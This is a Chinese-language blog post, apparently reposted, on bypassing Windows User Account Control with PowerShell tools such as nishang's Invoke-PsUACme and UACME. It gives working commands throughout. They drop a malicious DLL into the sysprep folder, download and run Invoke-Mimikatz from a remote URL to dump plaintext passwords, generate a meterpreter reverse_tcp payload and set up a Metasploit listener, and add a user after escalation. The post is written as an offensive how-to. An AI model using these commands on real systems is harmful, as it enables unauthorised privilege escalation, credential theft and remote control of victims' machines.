使用Powershell Bypass UAC

2018 年 6 月 1 日 黑白之道


0x00 简介


UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。许多情况下,我们获取了反弹的shell但是由于UAC这个烦人的东西并不能获取最高的权限,今天主要介绍使用powershell来bypass uac从而获取更高的权限。



0x01 Bypass UAC


通常绕过UAC的方法如下:


step1: 复制DLL文件到C:\Windows\System32\sysprep目录,DLL的名字取决于操作系统版本,比如Windows7为CRYPTBASE.dll,Windows8为shcore.dll。


step2:从上面的目录执行Sysprep.exe。他将加载上面的DLL,完成权限的提升。


具体dll名及利用exe如下表:

总结了一下突破Windows UAC的方式主要有以下几种:


1、使用IFileOperation COM接口;

2、使用Wusa.exe的extract选项;

3、远程注入SHELLCODE 到傀儡进程;

4、DLL劫持,劫持系统的DLL文件;

5、直接提权过UAC;

6、MS15-076(感觉上也可以用到) POC。


部分方式需要我们将DLL文件拷贝到相应的目录,这里拿Sysprep来做测试,要往这个目录拷贝文件需要管理员的权限,直接copy是不可以的,本文介绍的脚本使用了第二种方式,下面是一个测试。


使用copy:


1
C:\UAC>copy evil.dll C:\Windows\System32\sysprep\

使用Wusa.exe:


1
2
C:\> makecab C:\uac\evil.dll C:\uac\uac.cab
C:\> wusa C:\uac\uac.cab /extract:C:\Windows\System32\sysprep\

可以看到使用wusa成功拷贝。



0x02 Invoke-PsUACme


Invoke-PsUACme 是nishang的一个脚本,该脚本使用了列表中的几个方式来进行bypass UAC,目前支持Win7 ,Win8,由于Win10的wusa extract选项不在受支持,所以此脚本并不适用于Win10。


该脚本的所使用的DLL来自于开源项目UACME。nishang作者对代码进行了一下简单地修改,这里就不详细说了。


这里介绍一下脚本的使用,加载脚本:


1

PS C:\UAC> . .\Invoke-PsUACme.ps1


查看说明:


1
PS C:\UAC> help Invoke-PsUACme

主要参数说明:Payload为自定义要执行的程序;method为bypass的方式,包括Sysprep,OOBE,ActionQueue等几种;Verbose显示程序运行过程;CustomDLL64,CustomDLL32可以指定自定义DLL。

执行:


1
PS C:\UAC> Invoke-PsUACme -Verbose



1
PS C:\UAC> Invoke-PsUACme -method sysprep -Payload "cmd.exe"

执行某个自定义程序需要在payload出填写绝对路径。


自定义DLL:


1


PS C:\> Invoke-PSUACMe -CustomDll64 C:\test\test64.dll -CustomDll32 C

:\test\test32.dll -Verbose"


0x03 能做什么


1)通过bypass UAC我们可以通过普通的cmd抓到管理员密码。
普通cmd运行在线抓明文:


1



powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.

githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/

Invoke-Mimikatz.ps1'); Invoke-Mimikatz

bypass UAC以后:


1

2



PS C:\UAC> . .\Invoke-PsUACme.ps1

PS C:\UAC> Invoke-PsUACme -Payload "powershell -noexit IEX

(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/

mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"

2.让meterpreter获得更高的权限。


生成payload:


1

☁  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8889

-f psh-reflection

将输出文件保存为psh.ps1


msf开启监听:


1
2
3
4
5
6
7
8
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost x.x.x.x
lhost => x.x.x.x
msf exploit(handler) > set lport 8889
lport => 8889
msf exploit(handler) > exploit


普通cmd执行:

bypass UAC 以后执行:

0x04 Win10 Bypass UAC


我修改了一个使用远程注入方式Bypass UAC的powersell脚本以支持Win10,脚本地址:戳我


使用方式与nishang不同,并没有回显,使用win10进行测试:


1
2
PS F:\drops\UAC> . .\invoke-BypassUAC.ps1
PS F:\drops\UAC> invoke-BypassUAC -Command 'net user 1 "Password123!" /ad d'

除了上面的脚本,UACME也很好的支持win10,使用方式为:


1
2
3
4
akagi32.exe 1
akagi64.exe 3
akagi32 1 c:\windows\system32\calc.exe
akagi64 3 c:\windows\system32\cmd.exe


0x05 小结


绕过UAC能获取更高的权限,你还发愁抓密码么?


文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/Powershell_Bypass_UAC.html

你可能喜欢

powershell中使用ReflectivePEInjection绕过杀毒

Powershell编码与混淆

用Powershell劫持Windows系统快捷键

登录查看更多
0

相关内容

【2020新书】使用高级C# 提升你的编程技能,412页pdf
专知会员服务
56+阅读 · 2020年6月26日
零样本文本分类,Zero-Shot Learning for Text Classification
专知会员服务
95+阅读 · 2020年5月31日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
用Now轻松部署无服务器Node应用程序
前端之巅
16+阅读 · 2019年6月19日
Web渗透测试Fuzz字典分享
黑白之道
20+阅读 · 2019年5月22日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
C# 10分钟完成百度人脸识别
DotNet
3+阅读 · 2019年2月17日
浅谈浏览器 http 的缓存机制
前端大全
6+阅读 · 2018年1月21日
Learning by Abstraction: The Neural State Machine
Arxiv
6+阅读 · 2019年7月11日
Object Detection in 20 Years: A Survey
Arxiv
48+阅读 · 2019年5月13日
Area Attention
Arxiv
5+阅读 · 2019年2月5日
Arxiv
6+阅读 · 2018年11月1日
QuAC : Question Answering in Context
Arxiv
4+阅读 · 2018年8月21日
VIP会员
相关VIP内容
【2020新书】使用高级C# 提升你的编程技能,412页pdf
专知会员服务
56+阅读 · 2020年6月26日
零样本文本分类,Zero-Shot Learning for Text Classification
专知会员服务
95+阅读 · 2020年5月31日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
相关资讯
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
用Now轻松部署无服务器Node应用程序
前端之巅
16+阅读 · 2019年6月19日
Web渗透测试Fuzz字典分享
黑白之道
20+阅读 · 2019年5月22日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
C# 10分钟完成百度人脸识别
DotNet
3+阅读 · 2019年2月17日
浅谈浏览器 http 的缓存机制
前端大全
6+阅读 · 2018年1月21日
相关论文
Top
微信扫码咨询专知VIP会员